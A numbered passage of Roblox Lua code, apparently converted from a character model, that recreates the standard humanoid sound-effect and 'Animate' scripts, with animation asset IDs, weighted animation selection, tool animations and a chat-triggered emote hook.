  651. Jumping = 4;
  652. GettingUp = 5;
  653. FreeFalling = 6;
  654. FallingDown = 7;
  655. Landing = 8;
  656. Splash = 9;
  657. }
  658.  
  659. local Humanoid = nil
  660. local Head = nil
  661.  
  662. --SFX ID to Sound object
  663. local Sounds = {}
  664.  
  665. do
  666. local Figure = script.Parent.Parent
  667. Head = Figure:WaitForChild("Head")
  668. while not Humanoid do
  669. for _,NewHumanoid in pairs(Figure:GetChildren()) do
  670. if NewHumanoid:IsA("Humanoid") then
  671. Humanoid = NewHumanoid
  672. break
  673. end
  674. end
  675. Figure.ChildAdded:wait()
  676. end
  677.  
  678. Sounds[SFX.Died] = Head:WaitForChild("Died")
  679. Sounds[SFX.Running] = Head:WaitForChild("Running")
  680. Sounds[SFX.Swimming] = Head:WaitForChild("Swimming")
  681. Sounds[SFX.Climbing] = Head:WaitForChild("Climbing")
  682. Sounds[SFX.Jumping] = Head:WaitForChild("Jumping")
  683. Sounds[SFX.GettingUp] = Head:WaitForChild("GettingUp")
  684. Sounds[SFX.FreeFalling] = Head:WaitForChild("FreeFalling")
  685. Sounds[SFX.Landing] = Head:WaitForChild("Landing")
  686. Sounds[SFX.Splash] = Head:WaitForChild("Splash")
  687. end
  688.  
  689. local Util
  690. Util = {
  691.  
  692. --Define linear relationship between (pt1x,pt2x) and (pt2x,pt2y). Evaluate this at x.
  693. YForLineGivenXAndTwoPts = function(x,pt1x,pt1y,pt2x,pt2y)
  694. --(y - y1)/(x - x1) = m
  695. local m = (pt1y - pt2y) / (pt1x - pt2x)
  696. --float b = pt1.y - m * pt1.x;
  697. local b = (pt1y - m * pt1x)
  698. return m * x + b
  699. end;
  700.  
  701. --Clamps the value of "val" between the "min" and "max"
  702. Clamp = function(val,min,max)
  703. return math.min(max,math.max(min,val))
  704. end;
  705.  
  706. --Gets the horizontal (x,z) velocity magnitude of the given part
  707. HorizontalSpeed = function(Head)
  708. local hVel = Head.Velocity + Vector3.new(0,-Head.Velocity.Y,0)
  709. return hVel.magnitude
  710. end;
  711.  
  712. --Gets the vertical (y) velocity magnitude of the given part
  713. VerticalSpeed = function(Head)
  714. return math.abs(Head.Velocity.Y)
  715. end;
  716.  
  717. --Setting Playing/TimePosition values directly result in less network traffic than Play/Pause/Resume/Stop
  718. --If these properties are enabled, use them.
  719. Play = function(sound)
  720. if sound.TimePosition ~= 0 then
  721. sound.TimePosition = 0
  722. end
  723. if not sound.IsPlaying then
  724. sound.Playing = true
  725. end
  726. end;
  727. Pause = function(sound)
  728. if sound.IsPlaying then
  729. sound.Playing = false
  730. end
  731. end;
  732. Resume = function(sound)
  733. if not sound.IsPlaying then
  734. sound.Playing = true
  735. end
  736. end;
  737. Stop = function(sound)
  738. if sound.IsPlaying then
  739. sound.Playing = false
  740. end
  741. if sound.TimePosition ~= 0 then
  742. sound.TimePosition = 0
  743. end
  744. end;
  745. }
  746.  
  747. do
  748. -- List of all active Looped sounds
  749. local playingLoopedSounds = {}
  750.  
  751. -- Last seen Enum.HumanoidStateType
  752. local activeState = nil
  753.  
  754. -- Verify and set that "sound" is in "playingLoopedSounds".
  755. function setSoundInPlayingLoopedSounds(sound)
  756. for i=1, #playingLoopedSounds do
  757. if playingLoopedSounds[i] == sound then
  758. return
  759. end
  760. end
  761. table.insert(playingLoopedSounds,sound)
  762. end
  763.  
  764. -- Stop all active looped sounds except parameter "except". If "except" is not passed, all looped sounds will be stopped.
  765. function stopPlayingLoopedSoundsExcept(except)
  766. for i=#playingLoopedSounds,1,-1 do
  767. if playingLoopedSounds[i] ~= except then
  768. Util.Pause(playingLoopedSounds[i])
  769. table.remove(playingLoopedSounds,i)
  770. end
  771. end
  772. end
  773.  
  774. -- Table of Enum.HumanoidStateType to handling function
  775. local stateUpdateHandler = {
  776. [Enum.HumanoidStateType.Dead] = function()
  777. stopPlayingLoopedSoundsExcept()
  778. local sound = Sounds[SFX.Died]
  779. Util.Play(sound)
  780. end;
  781.  
  782. [Enum.HumanoidStateType.RunningNoPhysics] = function()
  783. stateUpdated(Enum.HumanoidStateType.Running)
  784. end;
  785.  
  786. [Enum.HumanoidStateType.Running] = function()
  787. local sound = Sounds[SFX.Running]
  788. stopPlayingLoopedSoundsExcept(sound)
  789.  
  790. if Util.HorizontalSpeed(Head) > 0.5 then
  791. Util.Resume(sound)
  792. setSoundInPlayingLoopedSounds(sound)
  793. else
  794. stopPlayingLoopedSoundsExcept()
  795. end
  796. end;
  797.  
  798. [Enum.HumanoidStateType.Swimming] = function()
  799. if activeState ~= Enum.HumanoidStateType.Swimming and Util.VerticalSpeed(Head) > 0.1 then
  800. local splashSound = Sounds[SFX.Splash]
  801. splashSound.Volume = Util.Clamp(
  802. Util.YForLineGivenXAndTwoPts(
  803. Util.VerticalSpeed(Head),
  804. 100, 0.28,
  805. 350, 1),
  806. 0,1)
  807. Util.Play(splashSound)
  808. end
  809.  
  810. do
  811. local sound = Sounds[SFX.Swimming]
  812. stopPlayingLoopedSoundsExcept(sound)
  813. Util.Resume(sound)
  814. setSoundInPlayingLoopedSounds(sound)
  815. end
  816. end;
  817.  
  818. [Enum.HumanoidStateType.Climbing] = function()
  819. local sound = Sounds[SFX.Climbing]
  820. if Util.VerticalSpeed(Head) > 0.1 then
  821. Util.Resume(sound)
  822. stopPlayingLoopedSoundsExcept(sound)
  823. else
  824. stopPlayingLoopedSoundsExcept()
  825. end
  826. setSoundInPlayingLoopedSounds(sound)
  827. end;
  828.  
  829. [Enum.HumanoidStateType.Jumping] = function()
  830. if activeState == Enum.HumanoidStateType.Jumping then
  831. return
  832. end
  833. stopPlayingLoopedSoundsExcept()
  834. local sound = Sounds[SFX.Jumping]
  835. Util.Play(sound)
  836. end;
  837.  
  838. [Enum.HumanoidStateType.GettingUp] = function()
  839. stopPlayingLoopedSoundsExcept()
  840. local sound = Sounds[SFX.GettingUp]
  841. Util.Play(sound)
  842. end;
  843.  
  844. [Enum.HumanoidStateType.Freefall] = function()
  845. if activeState == Enum.HumanoidStateType.Freefall then
  846. return
  847. end
  848. local sound = Sounds[SFX.FreeFalling]
  849. sound.Volume = 0
  850. stopPlayingLoopedSoundsExcept()
  851. end;
  852.  
  853. [Enum.HumanoidStateType.FallingDown] = function()
  854. stopPlayingLoopedSoundsExcept()
  855. end;
  856.  
  857. [Enum.HumanoidStateType.Landed] = function()
  858. stopPlayingLoopedSoundsExcept()
  859. if Util.VerticalSpeed(Head) > 75 then
  860. local landingSound = Sounds[SFX.Landing]
  861. landingSound.Volume = Util.Clamp(
  862. Util.YForLineGivenXAndTwoPts(
  863. Util.VerticalSpeed(Head),
  864. 50, 0,
  865. 100, 1),
  866. 0,1)
  867. Util.Play(landingSound)
  868. end
  869. end;
  870.  
  871. [Enum.HumanoidStateType.Seated] = function()
  872. stopPlayingLoopedSoundsExcept()
  873. end;
  874. }
  875.  
  876. -- Handle state event fired or OnChange fired
  877. function stateUpdated(state)
  878. if stateUpdateHandler[state] ~= nil then
  879. stateUpdateHandler[state]()
  880. end
  881. activeState = state
  882. end
  883.  
  884. Humanoid.Died:connect( function() stateUpdated(Enum.HumanoidStateType.Dead) end)
  885. Humanoid.Running:connect( function() stateUpdated(Enum.HumanoidStateType.Running) end)
  886. Humanoid.Swimming:connect( function() stateUpdated(Enum.HumanoidStateType.Swimming) end)
  887. Humanoid.Climbing:connect( function() stateUpdated(Enum.HumanoidStateType.Climbing) end)
  888. Humanoid.Jumping:connect( function() stateUpdated(Enum.HumanoidStateType.Jumping) end)
  889. Humanoid.GettingUp:connect( function() stateUpdated(Enum.HumanoidStateType.GettingUp) end)
  890. Humanoid.FreeFalling:connect( function() stateUpdated(Enum.HumanoidStateType.Freefall) end)
  891. Humanoid.FallingDown:connect( function() stateUpdated(Enum.HumanoidStateType.FallingDown) end)
  892.  
  893. -- required for proper handling of Landed event
  894. Humanoid.StateChanged:connect(function(old, new)
  895. stateUpdated(new)
  896. end)
  897.  
  898.  
  899. function onUpdate(stepDeltaSeconds, tickSpeedSeconds)
  900. local stepScale = stepDeltaSeconds / tickSpeedSeconds
  901. do
  902. local sound = Sounds[SFX.FreeFalling]
  903. if activeState == Enum.HumanoidStateType.Freefall then
  904. if Head.Velocity.Y < 0 and Util.VerticalSpeed(Head) > 75 then
  905. Util.Resume(sound)
  906.  
  907. --Volume takes 1.1 seconds to go from volume 0 to 1
  908. local ANIMATION_LENGTH_SECONDS = 1.1
  909.  
  910. local normalizedIncrement = tickSpeedSeconds / ANIMATION_LENGTH_SECONDS
  911. sound.Volume = Util.Clamp(sound.Volume + normalizedIncrement * stepScale, 0, 1)
  912. else
  913. sound.Volume = 0
  914. end
  915. else
  916. Util.Pause(sound)
  917. end
  918. end
  919.  
  920. do
  921. local sound = Sounds[SFX.Running]
  922. if activeState == Enum.HumanoidStateType.Running then
  923. if Util.HorizontalSpeed(Head) < 0.5 then
  924. Util.Pause(sound)
  925. end
  926. end
  927. end
  928. end
  929.  
  930. local lastTick = tick()
  931. local TICK_SPEED_SECONDS = 0.25
  932. while true do
  933. onUpdate(tick() - lastTick,TICK_SPEED_SECONDS)
  934. lastTick = tick()
  935. wait(TICK_SPEED_SECONDS)
  936. end
  937. end
  938.  
  939. end))
  940. LocalSound.Name = "LocalSound"
  941. LocalSound.Parent = Sound
  942.  
  943. table.insert(functions,sandbox(Animate,function()
  944. function waitForChild(parent, childName)
  945. local child = parent:findFirstChild(childName)
  946. if child then return child end
  947. while true do
  948. child = parent.ChildAdded:wait()
  949. if child.Name==childName then return child end
  950. end
  951. end
  952.  
  953. local Figure = script.Parent
  954. local Humanoid = waitForChild(Figure, "Humanoid")
  955. local pose = "Standing"
  956.  
  957. local currentAnim = ""
  958. local currentAnimInstance = nil
  959. local currentAnimTrack = nil
  960. local currentAnimKeyframeHandler = nil
  961. local currentAnimSpeed = 1.0
  962.  
  963. local runAnimTrack = nil
  964. local runAnimKeyframeHandler = nil
  965.  
  966. local animTable = {}
  967. local animNames = {
  968. idle = {
  969. { id = "http://www.roblox.com/asset/?id=507766666", weight = 1 },
  970. { id = "http://www.roblox.com/asset/?id=507766951", weight = 1 },
  971. { id = "http://www.roblox.com/asset/?id=507766388", weight = 9 }
  972. },
  973. walk = {
  974. { id = "http://www.roblox.com/asset/?id=507777826", weight = 10 }
  975. },
  976. run = {
  977. { id = "http://www.roblox.com/asset/?id=507767714", weight = 10 }
  978. },
  979. swim = {
  980. { id = "http://www.roblox.com/asset/?id=507784897", weight = 10 }
  981. },
  982. swimidle = {
  983. { id = "http://www.roblox.com/asset/?id=507785072", weight = 10 }
  984. },
  985. jump = {
  986. { id = "http://www.roblox.com/asset/?id=507765000", weight = 10 }
  987. },
  988. fall = {
  989. { id = "http://www.roblox.com/asset/?id=507767968", weight = 10 }
  990. },
  991. climb = {
  992. { id = "http://www.roblox.com/asset/?id=507765644", weight = 10 }
  993. },
  994. sit = {
  995. { id = "http://www.roblox.com/asset/?id=507768133", weight = 10 }
  996. },
  997. toolnone = {
  998. { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
  999. },
  1000. toolslash = {
  1001. { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
  1002. -- { id = "slash.xml", weight = 10 }
  1003. },
  1004. toollunge = {
  1005. { id = "http://www.roblox.com/asset/?id=507768375", weight = 10 }
  1006. },
  1007. wave = {
  1008. { id = "http://www.roblox.com/asset/?id=507770239", weight = 10 }
  1009. },
  1010. point = {
  1011. { id = "http://www.roblox.com/asset/?id=507770453", weight = 10 }
  1012. },
  1013. dance = {
  1014. { id = "http://www.roblox.com/asset/?id=507771019", weight = 10 },
  1015. { id = "http://www.roblox.com/asset/?id=507771955", weight = 10 },
  1016. { id = "http://www.roblox.com/asset/?id=507772104", weight = 10 }
  1017. },
  1018. dance2 = {
  1019. { id = "http://www.roblox.com/asset/?id=507776043", weight = 10 },
  1020. { id = "http://www.roblox.com/asset/?id=507776720", weight = 10 },
  1021. { id = "http://www.roblox.com/asset/?id=507776879", weight = 10 }
  1022. },
  1023. dance3 = {
  1024. { id = "http://www.roblox.com/asset/?id=507777268", weight = 10 },
  1025. { id = "http://www.roblox.com/asset/?id=507777451", weight = 10 },
  1026. { id = "http://www.roblox.com/asset/?id=507777623", weight = 10 }
  1027. },
  1028. laugh = {
  1029. { id = "http://www.roblox.com/asset/?id=507770818", weight = 10 }
  1030. },
  1031. cheer = {
  1032. { id = "http://www.roblox.com/asset/?id=507770677", weight = 10 }
  1033. },
  1034. }
  1035.  
  1036. -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
  1037. local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
  1038.  
  1039. math.randomseed(tick())
  1040.  
  1041. function configureAnimationSet(name, fileList)
  1042. if (animTable[name] ~= nil) then
  1043. for _, connection in pairs(animTable[name].connections) do
  1044. connection:disconnect()
  1045. end
  1046. end
  1047. animTable[name] = {}
  1048. animTable[name].count = 0
  1049. animTable[name].totalWeight = 0
  1050. animTable[name].connections = {}
  1051.  
  1052. local allowCustomAnimations = true
  1053. local AllowDisableCustomAnimsUserFlag = true
  1054.  
  1055. local success, msg = pcall(function()
  1056. AllowDisableCustomAnimsUserFlag = UserSettings():IsUserFeatureEnabled("UserAllowDisableCustomAnims")
  1057. end)
  1058.  
  1059. if (AllowDisableCustomAnimsUserFlag) then
  1060. local ps = game:GetService("StarterPlayer"):FindFirstChild("PlayerSettings")
  1061. if (ps ~= nil) then
  1062. allowCustomAnimations = not require(ps).UseDefaultAnimations
  1063. end
  1064. end
  1065.  
  1066. -- check for config values
  1067. local config = script:FindFirstChild(name)
  1068. if (allowCustomAnimations and config ~= nil) then
  1069. table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
  1070. table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
  1071. local idx = 1
  1072. for _, childPart in pairs(config:GetChildren()) do
  1073. if (childPart:IsA("Animation")) then
  1074. table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
  1075. animTable[name][idx] = {}
  1076. animTable[name][idx].anim = childPart
  1077. local weightObject = childPart:FindFirstChild("Weight")
  1078. if (weightObject == nil) then
  1079. animTable[name][idx].weight = 1
  1080. else
  1081. animTable[name][idx].weight = weightObject.Value
  1082. end
  1083. animTable[name].count = animTable[name].count + 1
  1084. animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
  1085. -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
  1086. idx = idx + 1
  1087. end
  1088. end
  1089. end
  1090.  
  1091. -- fallback to defaults
  1092. if (animTable[name].count <= 0) then
  1093. for idx, anim in pairs(fileList) do
  1094. animTable[name][idx] = {}
  1095. animTable[name][idx].anim = Instance.new("Animation")
  1096. animTable[name][idx].anim.Name = name
  1097. animTable[name][idx].anim.AnimationId = anim.id
  1098. animTable[name][idx].weight = anim.weight
  1099. animTable[name].count = animTable[name].count + 1
  1100. animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
  1101. -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
  1102. end
  1103. end
  1104. end
  1105.  
  1106. -- Setup animation objects
  1107. function scriptChildModified(child)
  1108. local fileList = animNames[child.Name]
  1109. if (fileList ~= nil) then
  1110. configureAnimationSet(child.Name, fileList)
  1111. end
  1112. end
  1113.  
  1114. script.ChildAdded:connect(scriptChildModified)
  1115. script.ChildRemoved:connect(scriptChildModified)
  1116.  
  1117.  
  1118. for name, fileList in pairs(animNames) do
  1119. configureAnimationSet(name, fileList)
  1120. end
  1121.  
  1122. -- ANIMATION
  1123.  
  1124. -- declarations
  1125. local toolAnim = "None"
  1126. local toolAnimTime = 0
  1127.  
  1128. local jumpAnimTime = 0
  1129. local jumpAnimDuration = 0.31
  1130.  
  1131. local toolTransitionTime = 0.1
  1132. local fallTransitionTime = 0.2
  1133.  
  1134. -- functions
  1135.  
  1136. function stopAllAnimations()
  1137. local oldAnim = currentAnim
  1138.  
  1139. -- return to idle if finishing an emote
  1140. if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
  1141. oldAnim = "idle"
  1142. end
  1143.  
  1144. currentAnim = ""
  1145. currentAnimInstance = nil
  1146. if (currentAnimKeyframeHandler ~= nil) then
  1147. currentAnimKeyframeHandler:disconnect()
  1148. end
  1149.  
  1150. if (currentAnimTrack ~= nil) then
  1151. currentAnimTrack:Stop()
  1152. currentAnimTrack:Destroy()
  1153. currentAnimTrack = nil
  1154. end
  1155.  
  1156. -- clean up walk if there is one
  1157. if (runAnimKeyframeHandler ~= nil) then
  1158. runAnimKeyframeHandler:disconnect()
  1159. end
  1160.  
  1161. if (runAnimTrack ~= nil) then
  1162. runAnimTrack:Stop()
  1163. runAnimTrack:Destroy()
  1164. runAnimTrack = nil
  1165. end
  1166.  
  1167. return oldAnim
  1168. end
  1169.  
  1170. local smallButNotZero = 0.0001
  1171. function setRunSpeed(speed)
  1172.  
  1173. if speed < 0.33 then
  1174. currentAnimTrack:AdjustWeight(1.0)
  1175. runAnimTrack:AdjustWeight(smallButNotZero)
  1176. elseif speed < 0.66 then
  1177. local weight = ((speed - 0.33) / 0.33)
  1178. currentAnimTrack:AdjustWeight(1.0 - weight + smallButNotZero)
  1179. runAnimTrack:AdjustWeight(weight + smallButNotZero)
  1180. else
  1181. currentAnimTrack:AdjustWeight(smallButNotZero)
  1182. runAnimTrack:AdjustWeight(1.0)
  1183. end
  1184.  
  1185. local speedScaled = speed * 1.25
  1186. runAnimTrack:AdjustSpeed(speedScaled)
  1187. currentAnimTrack:AdjustSpeed(speedScaled)
  1188. end
  1189.  
  1190.  
  1191. function setAnimationSpeed(speed)
  1192. if speed ~= currentAnimSpeed then
  1193. currentAnimSpeed = speed
  1194. if currentAnim == "walk" then
  1195. setRunSpeed(speed)
  1196. else
  1197. currentAnimTrack:AdjustSpeed(currentAnimSpeed)
  1198. end
  1199. end
  1200. end
  1201.  
  1202. function keyFrameReachedFunc(frameName)
  1203. -- print("CurrentAnim ", currentAnim, " ", frameName)
  1204. if (frameName == "End") then
  1205. if currentAnim == "walk" then
  1206. runAnimTrack.TimePosition = 0.0
  1207. currentAnimTrack.TimePosition = 0.0
  1208. else
  1209. -- print("Keyframe : ".. frameName)
  1210.  
  1211. local repeatAnim = currentAnim
  1212. -- return to idle if finishing an emote
  1213. if (emoteNames[repeatAnim] ~= nil and emoteNames[repeatAnim] == false) then
  1214. repeatAnim = "idle"
  1215. end
  1216.  
  1217. local animSpeed = currentAnimSpeed
  1218. playAnimation(repeatAnim, 0.15, Humanoid)
  1219. setAnimationSpeed(animSpeed)
  1220. end
  1221. end
  1222. end
  1223.  
  1224. function rollAnimation(animName)
  1225. local roll = math.random(1, animTable[animName].totalWeight)
  1226. local origRoll = roll
  1227. local idx = 1
  1228. while (roll > animTable[animName][idx].weight) do
  1229. roll = roll - animTable[animName][idx].weight
  1230. idx = idx + 1
  1231. end
  1232. return idx
  1233. end
  1234.  
  1235. function playAnimation(animName, transitionTime, humanoid)
  1236.  
  1237. local idx = rollAnimation(animName)
  1238.  
  1239. -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
  1240.  
  1241. local anim = animTable[animName][idx].anim
  1242.  
  1243. -- switch animation
  1244. if (anim ~= currentAnimInstance) then
  1245.  
  1246. if (currentAnimTrack ~= nil) then
  1247. currentAnimTrack:Stop(transitionTime)
  1248. currentAnimTrack:Destroy()
  1249. end
  1250.  
  1251. if (runAnimTrack ~= nil) then
  1252. runAnimTrack:Stop(transitionTime)
  1253. runAnimTrack:Destroy()
  1254. end
  1255.  
  1256. currentAnimSpeed = 1.0
  1257.  
  1258. -- load it to the humanoid; get AnimationTrack
  1259. currentAnimTrack = humanoid:LoadAnimation(anim)
  1260.  
  1261. -- play the animation
  1262. currentAnimTrack:Play(transitionTime)
  1263. currentAnim = animName
  1264. currentAnimInstance = anim
  1265.  
  1266. -- set up keyframe name triggers
  1267. if (currentAnimKeyframeHandler ~= nil) then
  1268. currentAnimKeyframeHandler:disconnect()
  1269. end
  1270. currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
  1271.  
  1272. -- check to see if we need to blend a walk/run animation
  1273. if animName == "walk" then
  1274. local runAnimName = "run"
  1275. local runIdx = rollAnimation(runAnimName)
  1276.  
  1277. runAnimTrack = humanoid:LoadAnimation(animTable[runAnimName][runIdx].anim)
  1278. runAnimTrack:Play(transitionTime)
  1279.  
  1280. if (runAnimKeyframeHandler ~= nil) then
  1281. runAnimKeyframeHandler:disconnect()
  1282. end
  1283. runAnimKeyframeHandler = runAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
  1284. end
  1285. end
  1286.  
  1287. end
  1288.  
  1289. -------------------------------------------------------------------------------------------
  1290. -------------------------------------------------------------------------------------------
  1291.  
  1292. local toolAnimName = ""
  1293. local toolAnimTrack = nil
  1294. local toolAnimInstance = nil
  1295. local currentToolAnimKeyframeHandler = nil
  1296.  
  1297. function toolKeyFrameReachedFunc(frameName)
  1298. if (frameName == "End") then
  1299. -- print("Keyframe : ".. frameName)
  1300. playToolAnimation(toolAnimName, 0.0, Humanoid)
  1301. end
  1302. end
  1303.  
  1304.  
  1305. function playToolAnimation(animName, transitionTime, humanoid)
  1306.  
  1307. local idx = rollAnimation(animName)
  1308. -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
  1309. local anim = animTable[animName][idx].anim
  1310.  
  1311. if (toolAnimInstance ~= anim) then
  1312.  
  1313. if (toolAnimTrack ~= nil) then
  1314. toolAnimTrack:Stop()
  1315. toolAnimTrack:Destroy()
  1316. transitionTime = 0
  1317. end
  1318.  
  1319. -- load it to the humanoid; get AnimationTrack
  1320. toolAnimTrack = humanoid:LoadAnimation(anim)
  1321.  
  1322. -- play the animation
  1323. toolAnimTrack:Play(transitionTime)
  1324. toolAnimName = animName
  1325. toolAnimInstance = anim
  1326.  
  1327. currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
  1328. end
  1329. end
  1330.  
  1331. function stopToolAnimations()
  1332. local oldAnim = toolAnimName
  1333.  
  1334. if (currentToolAnimKeyframeHandler ~= nil) then
  1335. currentToolAnimKeyframeHandler:disconnect()
  1336. end
  1337.  
  1338. toolAnimName = ""
  1339. toolAnimInstance = nil
  1340. if (toolAnimTrack ~= nil) then
  1341. toolAnimTrack:Stop()
  1342. toolAnimTrack:Destroy()
  1343. toolAnimTrack = nil
  1344. end
  1345.  
  1346.  
  1347. return oldAnim
  1348. end
  1349.  
  1350. -------------------------------------------------------------------------------------------
  1351. -------------------------------------------------------------------------------------------
  1352.  
  1353.  
  1354. function onRunning(speed)
  1355. if speed > 0.01 then
  1356. local scale = 16.0
  1357. playAnimation("walk", 0.1, Humanoid)
  1358. setAnimationSpeed(speed / scale)
  1359. pose = "Running"
  1360. else
  1361. if emoteNames[currentAnim] == nil then
  1362. playAnimation("idle", 0.1, Humanoid)
  1363. pose = "Standing"
  1364. end
  1365. end
  1366. end
  1367.  
  1368. function onDied()
  1369. pose = "Dead"
  1370. end
  1371.  
  1372. function onJumping()
  1373. playAnimation("jump", 0.1, Humanoid)
  1374. jumpAnimTime = jumpAnimDuration
  1375. pose = "Jumping"
  1376. end
  1377.  
  1378. function onClimbing(speed)
  1379. local scale = 5.0
  1380. playAnimation("climb", 0.1, Humanoid)
  1381. setAnimationSpeed(speed / scale)
  1382. pose = "Climbing"
  1383. end
  1384.  
  1385. function onGettingUp()
  1386. pose = "GettingUp"
  1387. end
  1388.  
  1389. function onFreeFall()
  1390. if (jumpAnimTime <= 0) then
  1391. playAnimation("fall", fallTransitionTime, Humanoid)
  1392. end
  1393. pose = "FreeFall"
  1394. end
  1395.  
  1396. function onFallingDown()
  1397. pose = "FallingDown"
  1398. end
  1399.  
  1400. function onSeated()
  1401. pose = "Seated"
  1402. end
  1403.  
  1404. function onPlatformStanding()
  1405. pose = "PlatformStanding"
  1406. end
  1407.  
  1408. function onSwimming(speed)
  1409. if speed > 1.00 then
  1410. local scale = 10.0
  1411. playAnimation("swim", 0.4, Humanoid)
  1412. setAnimationSpeed(speed / scale)
  1413. pose = "Swimming"
  1414. else
  1415. playAnimation("swimidle", 0.4, Humanoid)
  1416. pose = "Standing"
  1417. end
  1418. end
  1419.  
  1420. function getTool()
  1421. for _, kid in ipairs(Figure:GetChildren()) do
  1422. if kid.className == "Tool" then return kid end
  1423. end
  1424. return nil
  1425. end
  1426.  
  1427.  
  1428. function animateTool()
  1429.  
  1430. if (toolAnim == "None") then
  1431. playToolAnimation("toolnone", toolTransitionTime, Humanoid)
  1432. return
  1433. end
  1434.  
  1435. if (toolAnim == "Slash") then
  1436. playToolAnimation("toolslash", 0, Humanoid)
  1437. return
  1438. end
  1439.  
  1440. if (toolAnim == "Lunge") then
  1441. playToolAnimation("toollunge", 0, Humanoid)
  1442. return
  1443. end
  1444. end
  1445.  
  1446. function getToolAnim(tool)
  1447. for _, c in ipairs(tool:GetChildren()) do
  1448. if c.Name == "toolanim" and c.className == "StringValue" then
  1449. return c
  1450. end
  1451. end
  1452. return nil
  1453. end
  1454.  
  1455. local lastTick = 0
  1456.  
  1457. function move(time)
  1458. local amplitude = 1
  1459. local frequency = 1
  1460. local deltaTime = time - lastTick
  1461. lastTick = time
  1462.  
  1463. local climbFudge = 0
  1464. local setAngles = false
  1465.  
  1466. if (jumpAnimTime > 0) then
  1467. jumpAnimTime = jumpAnimTime - deltaTime
  1468. end
  1469.  
  1470. if (pose == "FreeFall" and jumpAnimTime <= 0) then
  1471. playAnimation("fall", fallTransitionTime, Humanoid)
  1472. elseif (pose == "Seated") then
  1473. playAnimation("sit", 0.5, Humanoid)
  1474. return
  1475. elseif (pose == "Running") then
  1476. playAnimation("walk", 0.1, Humanoid)
  1477. elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
  1478. stopAllAnimations()
  1479. amplitude = 0.1
  1480. frequency = 1
  1481. setAngles = true
  1482. end
  1483.  
  1484. -- Tool Animation handling
  1485. local tool = getTool()
  1486. if tool and (tool.RequiresHandle or tool:FindFirstChild("Handle")) then
  1487.  
  1488. local animStringValueObject = getToolAnim(tool)
  1489.  
  1490. if animStringValueObject then
  1491. toolAnim = animStringValueObject.Value
  1492. -- message recieved, delete StringValue
  1493. animStringValueObject.Parent = nil
  1494. toolAnimTime = time + .3
  1495. end
  1496.  
  1497. if time > toolAnimTime then
  1498. toolAnimTime = 0
  1499. toolAnim = "None"
  1500. end
  1501.  
  1502. animateTool()
  1503. else
  1504. stopToolAnimations()
  1505. toolAnim = "None"
  1506. toolAnimInstance = nil
  1507. toolAnimTime = 0
  1508. end
  1509. end
  1510.  
  1511. -- connect events
  1512. Humanoid.Died:connect(onDied)
  1513. Humanoid.Running:connect(onRunning)
  1514. Humanoid.Jumping:connect(onJumping)
  1515. Humanoid.Climbing:connect(onClimbing)
  1516. Humanoid.GettingUp:connect(onGettingUp)
  1517. Humanoid.FreeFalling:connect(onFreeFall)
  1518. Humanoid.FallingDown:connect(onFallingDown)
  1519. Humanoid.Seated:connect(onSeated)
  1520. Humanoid.PlatformStanding:connect(onPlatformStanding)
  1521. Humanoid.Swimming:connect(onSwimming)
  1522.  
  1523. -- setup emote chat hook
  1524. Game.Players.LocalPlayer.Chatted:connect(function(msg)
  1525. local emote = ""
  1526. if (string.sub(msg, 1, 3) == "/e ") then
  1527. emote = string.sub(msg, 4)
  1528. elseif (string.sub(msg, 1, 7) == "/emote ") then
  1529. emote = string.sub(msg, 8)
  1530. end
  1531.  
  1532. if (pose == "Standing" and emoteNames[emote] ~= nil) then
  1533. playAnimation(emote, 0.1, Humanoid)
  1534. end
  1535. -- print("===> " .. string.sub(msg, 1, 3) .. "(" .. emote .. ")")
  1536. end)
  1537.  
  1538.  
  1539.  
  1540. -- initialize to idle
  1541. playAnimation("idle", 0.1, Humanoid)
  1542. pose = "Standing"
  1543.  
  1544. -- loop to handle timed state transitions and tool animations
  1545. while Figure.Parent~=nil do
  1546. local _, time = wait(0.1)
  1547. move(time)
  1548. end
  1549.  
  1550.  
  1551. end))
  1552. Animate.Name = "Animate"
  1553. Animate.Parent = iwantbanthisgame
  1554.  
  1555. climb.Name = "climb"
  1556. climb.Parent = Animate
  1557.  
  1558. ClimbAnim.AnimationId = "http://www.roblox.com/asset/?id=507765644"
  1559. ClimbAnim.Name = "ClimbAnim"
  1560. ClimbAnim.Parent = climb
  1561.  
  1562. fall.Name = "fall"
  1563. fall.Parent = Animate
  1564.  
  1565. FallAnim.AnimationId = "http://www.roblox.com/asset/?id=507767968"
  1566. FallAnim.Name = "FallAnim"
  1567. FallAnim.Parent = fall
  1568.  
  1569. idle.Name = "idle"
  1570. idle.Parent = Animate
  1571.  
  1572. Animation1.AnimationId = "http://www.roblox.com/asset/?id=507766388"
  1573. Animation1.Name = "Animation1"
  1574. Animation1.Parent = idle
  1575.  
  1576. Weight.Value = 9
  1577. Weight.Name = "Weight"
  1578. Weight.Parent = Animation1
  1579.  
  1580. Animation2.AnimationId = "http://www.roblox.com/asset/?id=507766666"
  1581. Animation2.Name = "Animation2"
  1582. Animation2.Parent = idle
  1583.  
  1584. Weight_1.Value = 1
  1585. Weight_1.Name = "Weight"
  1586. Weight_1.Parent = Animation2
  1587.  
  1588. jump.Name = "jump"
  1589. jump.Parent = Animate
  1590.  
  1591. JumpAnim.AnimationId = "http://www.roblox.com/asset/?id=507765000"
  1592. JumpAnim.Name = "JumpAnim"
